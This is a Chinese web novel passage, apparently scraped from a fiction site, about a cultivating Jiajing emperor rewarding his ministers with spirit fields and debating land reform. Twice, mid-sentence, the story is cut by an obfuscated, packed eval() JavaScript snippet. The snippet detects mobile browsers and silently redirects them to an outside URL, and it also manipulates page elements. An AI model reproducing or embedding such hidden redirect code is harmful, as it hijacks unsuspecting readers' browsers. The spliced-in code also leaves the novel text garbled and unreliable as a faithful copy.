“臣……”听到皇上要赏赐自己严府一块儿灵田,严嵩面上好不容易恢复的淡定表情,这一刻再次绷不住了! 灵田意味着什么,在场的所有人心里都清楚无比,玉熙宫后面那一块灵田小院,他们每三个月都会被允许进去一次。 与外界,可以说是完全的两个世界。 现在,皇上竟然说,要赏赐他们严家一块儿,那岂不是他们以后可以天天在家修炼? 一旁的严世蕃,此刻更是呼吸急促,眼眶都红了,竟然还有惊喜,简直不可思议! 这一刻,严世蕃脑海中联想到了很多,甚至已经想着,等灵田赐下了,该怎么捯饬了。 嗯,他已经想好了,可以在自家小院儿里,种植一些灵物资源,比如灵米、灵瓜,灵果。 以后他们父子的吃食,全部从凡谷杂粮换成真正的灵谷,灵物。 嘉靖抬了抬手,示意准备起身谢礼的严嵩不必起身,道:“你父子二人今日回去后,先确定好在自家院子里,具体的位置呈上来。” “一个月后,灵田就会正式赐下。” “是!”严嵩不敢怠慢,赶紧应下,这是他自从入内阁以来,第一次紧张。 也是头一次生怕应答的慢了,被撤回恩赐,更害怕因为回答的慢了,引起皇上不快。 哪怕他心里清楚,皇上不会因此而怪罪,更不会撤下恩赐,但他就是止不住的担 心。 此时,内阁其他人的嫉妒,已经快要溢出来了。 皇上是不是太偏心了? 赏赐了仙法不算,竟然还要在严府,给严嵩父子二人赐下一块灵田。同样是给皇上办事的,他们也有功劳啊,皇上怎能如此? “徐阶。”这时,嘉靖的声音再次响起。 此时,羡慕嫉妒恨已经快要溢于言表的徐阶,听到皇上的声音后,身体猛的一颤。 来不及多想,赶紧起身,“臣,臣在!”说话间,甚至就连声音都带上了颤音。 嗯,说完,更是直接一个丝滑下跪。 谄媚小人!你的士大夫,文人傲骨呢?现在还不是跪了?你倒是挺直腰板啊! 看着徐阶此举,坐在凳子上的严世蕃,满脸的鄙夷之色……当了婊子还要立牌坊的东西。 他就见不得这些所谓清流这股做派! “你身为内阁次辅,又是教导裕王的师傅,也是劳苦功高,同赐仙法一篇,灵田一块。”嘉靖说着,抬了抬手,吕芳会意,从储物袋中取出自己早已经抄录好的‘引气诀’递了过去。 “谢,万寿帝君!”徐阶颤抖着双手,接过吕芳递来的引气诀。 徐阁老也获得仙法和灵田了! 高拱、张居正和赵贞吉三人心中开始焦躁不安了起来,也顾不上什么礼数了,一个个都眼巴巴的朝着嘉靖看了过去,隐含祈求之色。 仙法,灵田,他们也想要啊! “你也一样,仙法也可以与家人一同分享。”嘉靖说完,挥手示意徐阶起身,然后又看向高拱等人,“高拱、张居正、赵贞吉。” 听到名字被喊,三人立刻学着跪在地上。 “法不可轻传,”嘉靖缓声开口,“赏赐尔等每人灵田一块,‘祛灶丹’十粒。” 听到没有仙法,只有灵田和那对他们来说,已经没什么用的‘祛灶丹’,高拱三人心头都不由的一阵失望,不过还是赶紧道谢。 已经获得全套赏赐的严嵩、严世蕃和徐阶三人,此刻端坐在凳子上,看着高拱三人,虽然面上没有表现什么,但心中却暗暗点头。 仙法这种只有传说中仙人才具备的无上妙物,赐下的时候,自然是慎之又慎了。 一次赐下太多,那就是对仙法的不尊重了,嗯,这样挺好! 其实三人此刻,说白了就是一种人无我有,人有我优的心态,要的就是这种区别感。 要是你们都有了,怎么能体现出我们也有呢? “文孚已经有了仙法,修为也已经突破到了练气一层,之后灵田自然是要赐下的。”嘉靖看了眼陆炳,然后又看向下方,虽然小脸上,始终平静,但那双纯净眸子里也有羡慕色的清风。 “当然,朕的国师,也是一样的,仙法已经给了你了,日后想修炼尽管来灵田小院,或者单独给你的玄圃宫,也开一块灵田。” “谢陛下。”清风那平静白皙的鹅蛋脸上,顿时露出笑容,起身作揖。 一旁的裕王跟景王二人此时脸上也是露出笑脸。 虽然父皇没有明着赐下赏赐,不过他们知道,外人都有这么多好处了,他们自然不会少,毕竟他们才是亲父子。 将众人神情收入眼底,嘉靖眼底有笑意浮现,如此赏赐,都是他故意的。 内阁首辅的严嵩和次辅的徐阶,两家被赏赐下了仙法和灵田。 其余人,只是被赏赐了灵田,但缺乏仙法。 得到仙法和灵田的,会有新的目标,那就是更多的资源,甚至像是严嵩和徐阶,就会有更大的野心,比如发展一个修仙家族! 至于灵田,本命物随时可以从修仙世界那边,拉一条灵气通道过来。 至于大明仙宗,也会随着日后灵田生意的发展,已经在李长卿的帮扶下,成为大荒东南第一大宗,灵脉也会越来越粗壮。 前期供养大明,足够了! 之后,等大明完成第一阶段的初步发展后,自己也会弄一条上等质量的灵脉种在大明。 至于没有得到仙法,只得到灵田的高拱等人,也会在日后想尽办法的努力表现。 这些时日的接触修仙,他们也必定已经知道了,修仙之路,一步快,步步快! 没看到吕芳跟陆炳同时被赐下仙法,可吕芳早在一年前就已经突破到练气一层了。 而陆炳,才突破不久。 至于二位殿下,至今还在练气一层的边缘地带徘徊。 如此一来,他们心中就会有一种紧迫感,会让他们想尽办法的去表现自己。 得到的想要更多资源,没得到的,想要得到没得到的,如此层层递进,落实到整个大明层面,那就是无尽的贪婪! 没错,就是贪婪,嘉靖想要看到的,就是这些臣子的贪婪。 没有贪婪,大明如何发展? 嘉靖就要传达给他们一个信号,想要获得仙法、灵田,那就去争,去抢! 这个世界如此之大,只要你们能给朕抢来,只要你们能为大明朝的发展添砖加瓦,那就是有功之臣,对有功之臣,朕不会吝啬! “大明如今国力上涨,百姓能吃饱穿暖,南北不受敌夷侵扰,与尔等的努力不无关系。”嘉 靖说着,面露笑容,“说来,朕要谢你们。” “臣等惶恐,臣等本分。”听到皇上道谢,众人顿时惶恐拱手。 “好了,该赏的赏了,接下来说正事,”简单客套一番,嘉靖摆摆手,“张居正。” “臣在!”张居正立刻起身。 “土地改制一条鞭法可施行的顺利?”嘉靖当初预计,土地改制的第一阶段,三年内,也就是在嘉靖四十四年完成。 那个时候,自己也刚好突破筑基,大明的土地改制,也可以顺利进入第二阶段。 但自己修为提前突破筑基,如今是嘉靖四十二年十二月二十,差不多比预计提前了一年。 这太快了,不知道百姓能否接受的了,这些他需要从主要主持土地改制的第一阶段,完成被自己修改的‘一条鞭法’的张居正了解。 “回皇上,先是免税三年,又有新粮的高产,一年内全国百姓皆已适应。只等嘉靖四十四年,恢复税收。”张居正肯定道。 意思很明确,得益于新粮种,一条鞭法从试验田开始,再到现在,满打满算一年半,一切顺利,百姓更是已经适应。 一年半就让百姓接受,这过程中有多少不容易,又有多少不可说,嘉靖不在乎。 他要的是结果,只要结果达到就好。 至于一些旁枝末节,在大明仙朝,前进的滚滚车轮之下,都可以无视。 “关于土地改制,”听完张居正的禀告,嘉靖满意点头,“朕当初制定了四个阶段。” 听到嘉靖说当初制定了四个阶段,众人都严肃认真的听了起来。 “第一阶段,就是通过改制一条鞭法,取消人头税,改为按田亩征税,以此达到减轻百姓负担,让百姓更加积极地耕种,增加粮食。” “此外,取消人头税后,百姓之家,不必担心新增人口带来的额外税收负担。” “从而可以让我大明人口暴增!” 听到这话,众人都微微点头,一年多来,大明人口确实有增长,不过还尚未统计。 “第二阶段,”嘉靖说着,语气微微一顿,在众人的注视下,缓声:“朕打算三年内一切稳定,然后再将土地,全部收归朝廷。” 听到这话,众人眉头微拧,不过很快有舒展开来,现在的大明土地说白了已经是朝廷的了。 一直以来,大明的土地,就是朝廷所有和私人所有并存的一种状况。 朝廷所有大致为,官田、庄田、屯田、籍没田等。私有田则是百姓所有,和宗室所有。 想到私有田,众人都想到了一个不得不面对,但却从未直面的问题,大明宗室。 如今的大明,吏治整顿,土地兼并这些田地,也都已经归还了百姓。 现在皇上要将所有的土地,都变成朝廷所有,这就不得不面对两个群体。 百姓和宗室群体! 这两个都是麻烦,以前土地兼并还是各种手段,连哄带骗,现在百姓好不容易相信了朝廷,对朝廷又有了盼头,这要是再一搞…… 还有宗室,皇上要动宗室吗? “将土地收归朝廷所有,按人头给百姓之家分配土地,有多少人分多少田,”说着,嘉靖抬手,示意张居正不必说话,缓声道: “税收方式不变,依旧按田亩收。”嘉靖摆摆手示意张居正坐下,“诸卿以为如何?” 嘉靖没有急着说出第三阶段,而是想听听内阁关于第一阶段到第二阶段的土地改制想法。 虽然他已经有了决定,但毕竟是当初草创,方向有了,具体实施,还要细谈。 而他施行第二阶段,实则是为了第三,第四阶段的目的做最后的铺垫! 第二阶段施行后,持续后的结果,就是人口暴增到一个可怕的地步,土地短缺的压力会疯狂上涨,各方面的需求会无尽增长! 最终,整个大明朝,会化作无尽贪婪的怪物,那时,是整个大明朝的贪婪! 重重高压暴增之下,导致整个大明内部,资源竞争紧张,引发各种因资源短缺而产生的矛盾,这个矛盾体,必须要有宣泄口! 宣泄口的道路,嘉靖已经想好,但需要第三阶段,第四阶段的铺设。 如此,大明仙朝会变成何等强大,未来不可知的恐怖而贪婪的怪物。 这就是当初,嘉靖心中想的那条一旦踏上就彻底停不下来,未来也看不到终点的路! (注:忘记的读者可回看第三十四章。) 不过当本命物可以勾连修仙世界后,嘉靖认为,那条路或许又延伸了…… “土地收归为朝廷所有……”这时,严嵩温吞的声音跟着响起,众人都朝他看去。 “皇上恕罪,”严嵩先是朝嘉靖告罪一声,然后继续道:“政策本身并无不妥,但却有一个潜在的冲突风险,需要斟酌解决。” 众人闻言,都不由开始低头思索了起来。 “爱卿直言。”嘉靖抬了抬手,示意严嵩畅所欲言。 “首先,就是税收的变化,”严嵩缓缓抬头,看向嘉靖,缓声道:“第一阶段中,税收是以田亩为基础的,而到了第二阶段,虽然土地使用权是按人头分配,但土地仍然属于朝廷。” “因此若继续按田亩征税,可能会导致有些人拥有土地但不完全承担相应赋税,反之某些没有土地的却要为他们使用的土地承担税赋。” 听到这里,徐阶等人都是微微点头。 皇上提出的第一阶段,过渡到第二阶段,表面看并无直接冲突,但严嵩的考量也有道理。 嘉靖眸光闪烁,手指轻跳了跳,而后抬头示意严嵩继续。 “第二个,就是土地的使用和归属存在分离,也就是说,”严嵩语气越发的慢了,声音中也多是小心,“土地收归朝廷所有后,土地使用分配可能会导致耕种的百姓,与朝廷之间的利益分配上,嗯……需要重新拟定。” “这是必须要面对和考量到的。” “以免日后,为大明埋下隐患……” “因此,如何保证百姓的耕种积极性不受影响,同时保证朝廷能够通过土地获得足够的收入……这是需要仔细考虑的问题。” 严嵩不愧是严嵩,在利益得失算计上,看的可以说比任何人都要透彻。 从嘉靖提出第二阶段,土地收归朝廷所有,几乎是第一时间就看到了潜在的冲突。 “严阁老所言甚是,”这时,徐阶也跟着开口了,“只要解决了严阁老所言,便可顺利从第一阶段,过渡到第二阶段。” 徐阶也出手了,几乎是跟着严嵩的! 而且,听他这话音,似乎已经想到了解决之法? “徐阁老有解决之法?”嘉靖面容微宽。 “臣就以严阁老所言,提出几点平稳过渡之法。”徐阶微微颔首,谦虚道。 毕竟是跟严嵩一同获得仙法和灵田的,徐阶自然是要拿出相应的实力来了。 否则,这仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669359|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法和灵田,他拿的不安。 “首先就是土地耕种百姓的登记,要更为严格,”徐阶说着,看向张居正,“此前太岳在施行一条鞭法时,使用的仗清土地方式就很好。” “此外,臣提议,可以向符合条件的百姓之家,或者是个人,发放一种土地文牒,明确土地使用范围、期限及相应的责任、利益……” 众人没有说话,而是继续听着。 毕竟,徐阶这是在说解决之法,他们都能听明白,这只是个类似于话头的开始。具体的解决之法是否可行,这需要等他说完再做讨论。 “对税收,再做一个更为详细,且严苛的划分,”徐阶说的很慢,像是一边思考,一边说一般,平缓道:“可以根据某百姓之家或个人,打理的土地肥沃程度、所处的位置……” “嗯,毕竟东南地区和北部地区,耕种和收成,也各有不同,需要因地制宜。” “以此来制定,种植作物、养殖等不同的税赋。” “之后,还可以实行一种累积缴税的方式……”徐阶说着,突然沉默,眉头紧锁,不过众人都没有打扰他,同时也暗暗思考着。 “啊,”这时,徐阶又像是想通了,继续道:“对于大规模的耕种百姓,比方说,耕种的田亩越大,超出部分也要缴更高的税赋,以此可以调节土地过于集中的现象。” “之后,还可以适当的对百姓之家,进行一些减免税赋,对于小规模农户或特定用途特殊土地,可以适当的减税或免税。” “最后第三点,就是时间了。”徐阶说着,看向嘉靖,“想要让第一阶段到第二阶段,解决臣刚才说的这些,需要一定的年限。” “短时间内,怕是不能完成,臣以为需要全部完成,并过渡,需要十年。” “这十年期间,还要解决其他一些土地所有者的顾虑……”说到其他所有者,徐阶一言带过,但众人都知道他说的是什么。 土地收归朝廷所有,现在刚刚到手田地的百姓是个麻烦,但更麻烦的还是宗室。 “如此原土地耕种的百姓,继续享有使用权,并逐渐适应新的土地使用权分配规则。” “以上,便是臣根据严阁老所言,提出的解决之法。”徐阶拱了拱手,然后不再言语。 此时,高拱、张居正和赵贞吉等人,突然觉得,这等庞大,复杂,事关整个大明朝的国策,一时间,竟感到前所未有的压力。 看着严嵩和徐阶,高拱目光复杂。 一旁的张居正则是夸大袖口里的双手暗暗攥紧。 这一刻,二人的心思,是很是复杂的。 他们总以为自己跟这二人之间,已经没有了差距,唯一的差距不过是身份上的。 如今看来,严嵩在皇上提出的,动辄就是整个大明层面的难题,第一时间就堪破其中潜藏危机,而徐阶更是能在严嵩提出问题后,跟着提出解决之法,这等对国策的反应和敏锐…… 他们突然颇有些无力的发现,若是自己,绝对无法这么快时间想出来办法。 他们不怀疑自己的能力,他们也能看到问题,也能提出解决之法,但不会这么快。 至于赵贞吉,老神在在的,低眉垂目,眼底已然有精光浮动,似是有自己的计较。 嗯,要说此刻心神最震撼的还是小阁老严世蕃。 小阁老严世蕃先是看了看老爹,又看了看老徐,整个人有种游离的感觉。 不是,你们都在说 什么啊?每个字,每句话都能听明白,但合起来一听,怎么感觉你们说你们的,我听我的,很是干脆两立? 不就是第一阶段到第二阶段过渡吗?不就是说其中有风险吗?不就是徐阶提出了解决法吗? 这不是很简单嘛! 此刻的严世蕃,就像是学堂里,遇上先生布置作业的学生一样。 别人没讲之前,嗯,这题毫无毛病,很简单嘛!别人一讲,啧,还挺复杂啊,不过现在听起来,又感觉很简单嘛! 小阁老突然意识到,自己似乎是个差生? 这就是考验治国能力了,张居正等人的战场,始终都在治国之道,而严世蕃的战场,一直都是朝堂党争,权谋算计上。 遇到这种整个国家层面的宏观问题上,就抓瞎了。 要说简单的治理个灾害,拨款赈灾,施行一些朝廷的政令,他还有法子。 但治国,宏观国策上,他就不行了。 “十年时间,太久了……”嘉靖微微摇头。 虽然他也知道,这是解决隐患和潜在冲突的最佳之法,但这个时间不是嘉靖想要的。 虽然他不急,有的是时间,但第二阶段之后就是第三阶段和第四阶段,他要在第二阶段开启的时候,就让大明开始踏上仙朝之路的。 花十年时间去平稳过渡,啧,总是心里不顺。 十年,慢吗?不慢!可他还想要再快点。 听到嘉靖这么说,众人都沉默了,他们知道,皇上认同这个法子,但不满这个时间。但他们更知道,十年是一个更为安全的时间。 都是为了大明好,他们也不打算为了讨皇上欢心,就办坏事。 毕竟,他们现在都有仙朝官身,要是以后仙朝建立了,再有隐患,影响的还是他们。 不知不觉,众人都没有发现,他们已经与大明,死死绑定在了一起。 “皇上,”这时,赵贞吉突然起身,对着嘉靖拱了拱手,“臣有一策,只需三年。” “唰唰唰!”一言出,满堂惊。 所有人都惊讶的看向赵贞吉,他也有一策?还三年就能把事给平了?这么猛的吗? 赵贞吉是什么人,在座的对这位内阁里最没有什么存在感,平日里只会云一些废话,什么事都不参与,始终跟着清流当跟班的人太清楚了。 今儿是怎么了?转性了?还是吃拧了?这等层面的国策,他也敢站起来说话了?这是你个滑不溜秋的泥鳅能参与的? 严嵩耷拉着的眼皮也是微微一抬,眼底竟是有惊讶之色浮现。 赵贞吉?他自然知道的,当然向来都是对这位内阁之人无视的。 甚至,整个内阁,被他放眼里的也就徐阶一个,再算上一个后来居上的张居正。 刚才徐阶提出的解决之法,确实是当下,最好的办法,十年时间虽然久了些,但胜在平稳,不会出纰漏啊。 这个赵贞吉,竟然敢说将时间提早到三年?这让他也不禁为之侧目。 徐阶同样有些惊讶的看着赵贞吉。 赵贞吉此人,平日里不言不语,为官为人滑不留手的,没想到还有如此一面。 至于此人是否有能力,那是毋庸置疑的,否则也不会进内阁,最重要的是,在当年庚戌之变,俺答入侵的时候,他也是表现不俗。 所以,他知道,此人是个胸中自有沟壑的人。 “赵卿既有策,便道来吧。”嘉靖看着赵贞吉,肃容微缓。 看来,仙法的刺激,已经开始发挥功效了,先是严嵩、徐阶,然后又是赵贞吉。 好,很好!如此,大明才能越来越好! “徐阁老顾虑,无非就是一个,百姓的接受程度……”赵贞吉说着,看向徐阶,后者微微颔首,直至本质确实如此。 “皇上,”赵贞吉深吸一口气,沉声道:“土地问题,除了百姓,其实还有宗室!” 听到赵贞吉竟然就这么堂而皇之的把宗室问题给直白的说了出来,大殿陡然一静。 严嵩眼皮耷拉,徐阶老神在在。 严世蕃一愣,只觉得还有猛人,今天的内阁清流,真是给了他很大的震撼。 他感觉,自己又又又被内阁比下去了! 众人都是不着痕迹的看向嘉靖,见他面上没有什么变化后,又都看向赵贞吉。 宗室问题,不是皇上不想解决,他们明白,以自家这位皇上的自私和贪婪,恨不得所有的钱财,资源,都是自己的。 自然不愿意养着宗室,可宗室的问题又是个皇家无解的难题。 能这么随便解决,早就解决了,也不会拖到现在,已经成为大明朝的一大害了。 宗室的问题,大家都知道,但讨论起来又臭又长有麻烦,还扯不清,所以干脆回避了。 这次整顿吏治,仗清宗室土地,也是因为皇上快刀斩乱麻,杀的太狠,宗室不得不妥协。 粮食统计,能把宗室也算进去,那还是因为这处于三年免税期,宗室不损失什么。 一想到等三年之期到了,那财政收入又要缩减,内阁众人无不是脑仁疼。 也是如此,听到赵贞吉提出宗室问题,他们才会如此惊讶了。 “ 第一百四十三章 严嵩的仙族计划,败家子严绍庭,严家竟然养了一只灵兽! “呼呼呼。”风雪凛啸,众人先前只觉得眼前一花,下一刻就出现在风雪中,还有些发懵,不过很快,就有人率先反应了过来。 “呵,”陈洪发出一声冷笑,“赵部堂,当真是会算计,都算计到主子头上来!” 听到这话,赵贞吉目光一凝,看向陈洪,但最后也还是什么都没说出来。 夏虫不可语冰,他不会与这种官场嗅觉,等同于没有的阉人说话。 真正被他放在眼里的,应该是吕芳,甚至在他看来,就算是黄锦也要比陈洪好。 陈洪?就是个突然得到权力后膨胀的小人。跟这种人多说一句话,在他看来都是浪费时间。 “走吧。”这时,徐阶对着玉熙宫,先是躬身一礼,然后转身离开。 见此,其他人也纷纷对着躬身行礼后,转身离去。 司礼监其他人,则是被陈洪带着返回,至于黄锦则是跟着清风一路向东边的玄圃宫而去。 至于裕王、景王还有陆炳三人,则是留在了玉熙宫里。 严嵩父子看着离去的众人,倒也不急着走,反而是慢吞吞的,闲庭信步一般,朝着西苑外而去,身后两顶轿子,则远远跟着。 “爹,刚才您为什么要我出面?”严世蕃扶着严嵩开口问道。 之前,他正是因为收到了老爹严嵩的眼神示意,这才当场开口对赵贞吉的提议表示支持。 但现在看来,皇上似乎并不认同,否决的理由也很直白,堂堂朝廷,岂能如此算计? 这要是传出去了,让天下人如何看待朝廷,如何看待皇上?事关体面,皇上不同意,似乎也没有什么问题。 “哎,”听到严世蕃这么问,严嵩不由轻叹口气,“因为赵贞吉的办法挺好的。既然是好办法,我们自然是要支持的。” “爹,您的意思是这事要绕过皇上?”严世蕃说着,连连摇头,“不行,绝对不行!” “别说皇上已经修仙,就算是此前没有修仙的时候,我们也绝对不能做这种事啊!” 严世蕃只觉得老爹是不是太猖狂了点? “赵贞吉把话说的太露骨了一些,”严嵩轻叹,“我身为内阁首辅,自然有责任去帮忙把关的,放心吧,我了解皇上……” 最后一句话让严世蕃一怔,只觉得脑海中似是有闪电划过一般,让他瞬间恍然。 “爹,您的意思是……”见儿子严世蕃终于反应了过来,严嵩微微摇了摇头没有说话,只是摆了摆手然后停下来,轿子立刻跟上。 望着老爹严嵩迈入轿子的身影,严世蕃在原地愣了一愣,而后下意识的回头,朝着玉熙宫的方向看了一看,“原来如此……” 此刻经老爹这么一点拨,严世蕃终于回过味来,别看皇上把他们都赶出了玉熙宫,但实则,皇上并不是真的生气! 皇上其实是想同意赵贞吉的做法的,但是这件事情不能明着来办,必须得有人去背黑锅。 总之就是一个意思,提出这个方案的是赵贞吉,支持这个方案的是严家。 就如赵贞吉所言,苦一苦百姓,而对于皇上来说,那就是苦一苦所有人,骂名所有人来担。 与此同时,玉熙宫中。 “听说李氏,给你诞下了一个世子?”精舍中,嘉靖虽是在询问,但语气却不容置疑。 “回禀父皇,已经三个多月了。”听到父皇终于问起自己孩子的事情,裕王脸上顿时浮现出一抹笑意,而后立刻躬身说道。 说话间,裕王还不露痕迹的瞟了一眼身旁的景王,神情间说不出的得意之色。 毕竟景王和自己相争,他的王妃只是有孕,是男是女都还不知道,而自己不但是他的兄长,天然的在地位上就高他一头,现在自己又诞下了一个世子,为父皇延续了香火。 他自然是得意的,觉得自己又稳压了景王一头。 “世子的名字,朕已经想好,”嘉靖无视了两个儿子私底下的小动作,然后开口道:“名字就叫朱翊钧,之后旨意会下去。” “谢父皇!”听到嘉靖给儿子赐名后,裕王顿时满脸喜色的道谢。 “还有你,”说着,嘉靖又看向景王,“这是‘养元丹’,有助于培养身体元气。你拿去给你的王妃服下,可确保孩儿无虞。” “谢父皇赏赐丹药。”景王立刻恭敬的从吕芳手里接过装着丹药的玉瓶。 “回去后,也跟严嵩等人一样,在王府后花园找块地,呈报上来,以后就不必再往宫里跑了,自个在家就可以修炼…行了都下去吧。” “是,儿臣告退。”裕王跟景王躬身一礼后,转身离去。 此时,宫里只剩下了嘉靖、吕芳和陆炳三人。 “说说吧,仙武卫训练的如何了?”嘉靖看向陆炳。 “皇上,当初的一千个孩子,如今都已经突破到了后天境界,再大量的血肉、还有吕公公的一些丹药供给之下,进展并不慢。” “按照‘仙武法’上的境界划分,武道境界,总共分为九重,”陆炳说着语气微微一顿,又继续道:“前三重是后天境界,主要炼的是气血,中三重是先天境界,后三重为武道境。” “顾名思义,以武入道的意思。” 听到这里,嘉靖微微点头,“以武入道”这四个字,才是他最看中的。 其实他当初选择‘仙武法’这个前期修炼需要耗费大量血食,即便是放在凡人世界也不是一般人可以修炼的武道功法的最重要原因,就是因为这门功法是脱胎于修仙功法。 当这门武道功法修炼至大成以后,是可以顺利的衔接到修仙功法上的。 “这些孩子现在只是第一重,还有很长的路要走,不过一个所的人数,消耗的费用,却不低于一卫,等到第二重的时候……” 说到这里,陆炳的语气有些迟疑了起来。 “一所的消耗,顶得上一卫的军需?!”一旁的吕芳也不由惊讶出声,“我记错的话,这些仙武卫还都只是一些孩子吧?” “是,是一群孩子,”陆炳苦笑着轻摇了摇头,道:“最大的如今也不超过十四岁,最小的也才五岁,这仙武法后天境时,没有什么天赋根骨的要求,就看资源能不能跟得上。” “也就是说,只要有钱,吃好喝好,珍贵的药浴足够,都能突破到第三重境界。” “不过即便是后天一重境界也足以以一当十,然后修炼到第重的时候,可以打十个一重境界的人,修炼到第三重可打三十个一重境。” “若是我大明日后,养出一支十万人的仙武卫大军,不要求境界达到先天境,即便是达到后天境,也足以横扫天下!” “这可比什么骑兵,要强的多!” “嘶!”听到这里,饶是吕芳如今的修为已经达到了练气一层,也不由倒吸了一口凉气。 他知道陆炳的话并不是夸大其词,而且在主子面前,陆炳也不敢说出一些欺骗之言,所以陆炳说的都是事实,甚至是保守估计。 说实话他无法想象,若是大明真的有如此强大的一支十万人大军,届时一旦与敌人开战,这又该是何等的一种景象? 怕即便是数量同样是十万人,配备精良火器的神机营,面对如此恐怖的武道大军,估计也会被瞬间屠戮一空,不,不是估计,是必然! 虽然吕芳没有修炼“仙武法”,但是他对这门武道功法也是留有备份,并研究过的。 而且,他也打算等主子出关后,在东厂和西厂,培养一些新进宫的小太监修炼仙武法。 所以对于“仙武法”修炼后,武者自身会具备怎样的能力,他也是知道的。 不敢说像修仙者那样腾云驾雾,使用符箓法术,但简单的飞檐走壁尤其是里边还提到一种名为“身法”的武技,使用出来简直如鬼魅般。 正是因为如此,吕芳心中才知道,如果是同等数量的大军对上神机营,后者绝对会顷刻间,便战败,并且很有可能是无伤的那种。 神机营的那些火器虽然威力不俗,但是,在每次发射完,都要更换弹药这些都太慢了。 随着武道修为境界的加深,武者可以在神机营的人发射的瞬间就将其制服。 甚至,即便像他这样的,练气初期的修仙者,被这些仙武卫大军包围的话,即便他能击杀很多人,但当他手中的符箓和自身的灵气耗尽以后,那么迎接他的也就剩下了死亡。 “如此说来,需要大量的消耗物资,倒也可以理解了……”吕芳轻呼出一口气,喃喃道。 “而且,”这时,陆炳说着,看了眼嘉靖,见皇上面上没有任何不满后,又道:“这笔钱都是从锦衣卫出,如今钱都由户部管着。” “若是要的太多了,怕是……”说到这里,陆炳闭口不言,但意思已经很明显了。 “物资的事你不用担心,”嘉靖摆了摆衣袖,“仙武卫的作用在后面朕有大用。” “内阁野心勃勃的想要瓜诸国,那瓜分下来的疆域怎么管?日后大明辽阔的疆域,总要有强大的军队驻扎吧?那些凡人军卒要逐渐替代。” “你就给朕说,还要什么,一并办了!”嘉靖大气的说道。 说实话,他也没有想到,仙武卫仅仅只是武道第一重天境界的修炼物资,就达到了一卫的军需,这要是二重天,三重天……届时,所消耗的又该是何等庞大的一笔军费? “这还只是后天境,”陆炳的面色也有些犯难了起来,“等到先天之后,可是要吸收天地灵气,转化为先天真元的。” “这就需要灵气供给了!” “之后,武道境,那单个消耗的资源,怕是不比培养一个练气修者来的少。” 一口气说完,陆炳低下了脑袋。 他知道,自己现在给皇上汇报的,不是什么仙武卫情况,而是一笔庞大的财政支出。 甚至,不光是钱财,还有后期需要灵物资源。 “如此一来,培养一支十万人的仙武卫大军,都快顶得上培养一支十万人的修仙者了……”吕芳说着,又摇摇头。 他知道这笔账不是这么算的。 仙武卫先不说先天境界,单单是后天境界,若是培养这么一支,修为达到武道三重境界的万人大军,理论上说只要物资能供应的上就行。 而且这十万人的武道大军就能出现。 甚至,就算是连先天境界,也是一个道理,只要物资够,就一定能在短时间内造出 来。 但是修仙可就不一样了。 修仙,每个人所耗费的时间和资源,是完全不同的。 比方说,一个人需要一年时间才能突破到练气一层,那么在这一年时间内,其消耗的灵物资源,只会多不会少! 陆炳用一年时间,可以为大明培养出一千个后天一重的仙武卫。但即便是给他二十年时间,也绝对培养不出一千个练气一层的修仙者。 换句话说,就是只要资源够,仙武卫要多少有多少,而消耗的时间会更短。修仙者即便资源足够多,也不一定就能达到预期想要的效果! 且其中消耗的资源还是层层递进的。 这笔账,嘉靖自然也会算,并且能算的很清楚。 大殿内沉默了许久后,嘉靖缓缓开口。 “仙武卫后天境的资源,朝廷会给你承担,但先天境,需要用到灵气,”嘉靖说着,语气一顿,在陆炳的注视下,开口:“你在京城的郊外划块十亩的地,当做仙武卫的灵田。” “日后仙武卫扩充,灵田你自己想办法。”说着,嘉靖严肃的看着陆炳,“日后大明各地会有不少灵地开放,公平起见朕会公布出去。” “能不能争的过其他人,就看你自己了,但朕的仙武卫,必须要每年都在扩充。” “能办得到吗!” 如今只要将本命,移到修仙世界,大明这边就能嫁接到灵气,嘉靖自然是要加快大明这边的发展了,以后修仙资源不够了…… 不是还有一整个修仙世界吗? 但这些需要的是实力,前期的大明,用后世的话说,就是“苟着,猥琐发育”,一点点的,将修仙世界的灵气嫁接到大明来。 “是,臣能办得到!”听到这话,陆炳顿时狂喜。 他要的就是皇上的支持! “嗯,”嘉靖摆摆手,示意陆炳可以回去了,“下去吧……” “是!”汇报完该汇报的,得到了想要得到的,陆炳自然不再逗留。 “那个赵贞吉是个办事得力的,”陆炳离开后,嘉靖看向吕芳,“想来内阁会把后面的事情处理好,不过主要功劳,还是在他。” “明里不要赏他什么,暗地里赏吧……” 听到嘉靖这么说,吕芳眸光一闪,心中已然会意,知道主子的意思了。 现在能当得起主子一句赏的,除了灵田和仙法,对这些阁老来说,也没有什么算是赏了。 至于赵贞吉,已经有了灵田,那接下来,自然是该赏赐仙法了。 不得不说,内阁这些人还是很懂事的。 虽然嘉靖说的是,一个月内把各自家里要划出的灵田呈上来,但并未急着第一时间上报,而是一直等到嘉靖四十三年,正月二十。 正好是一个月的时间,并且还把赵贞吉提出的“聚田削宗”的国策给做了面子修改。 内阁呈上奏本,嘉靖自然是看到了的,既然不再是那种算计,有损朝廷体面的事,那自然是没什么好说的了,直接就批了。 当然,这一个月的时间,嘉靖也没闲着,而是又抽空回了一趟修仙世界。 这一次,他把本命大明拆下来好几块,都放置在了大明仙宗的灵脉之上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669360|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过都是在传承阁,以及他的住处下的支脉上。其他支脉,保险起见他没有放。 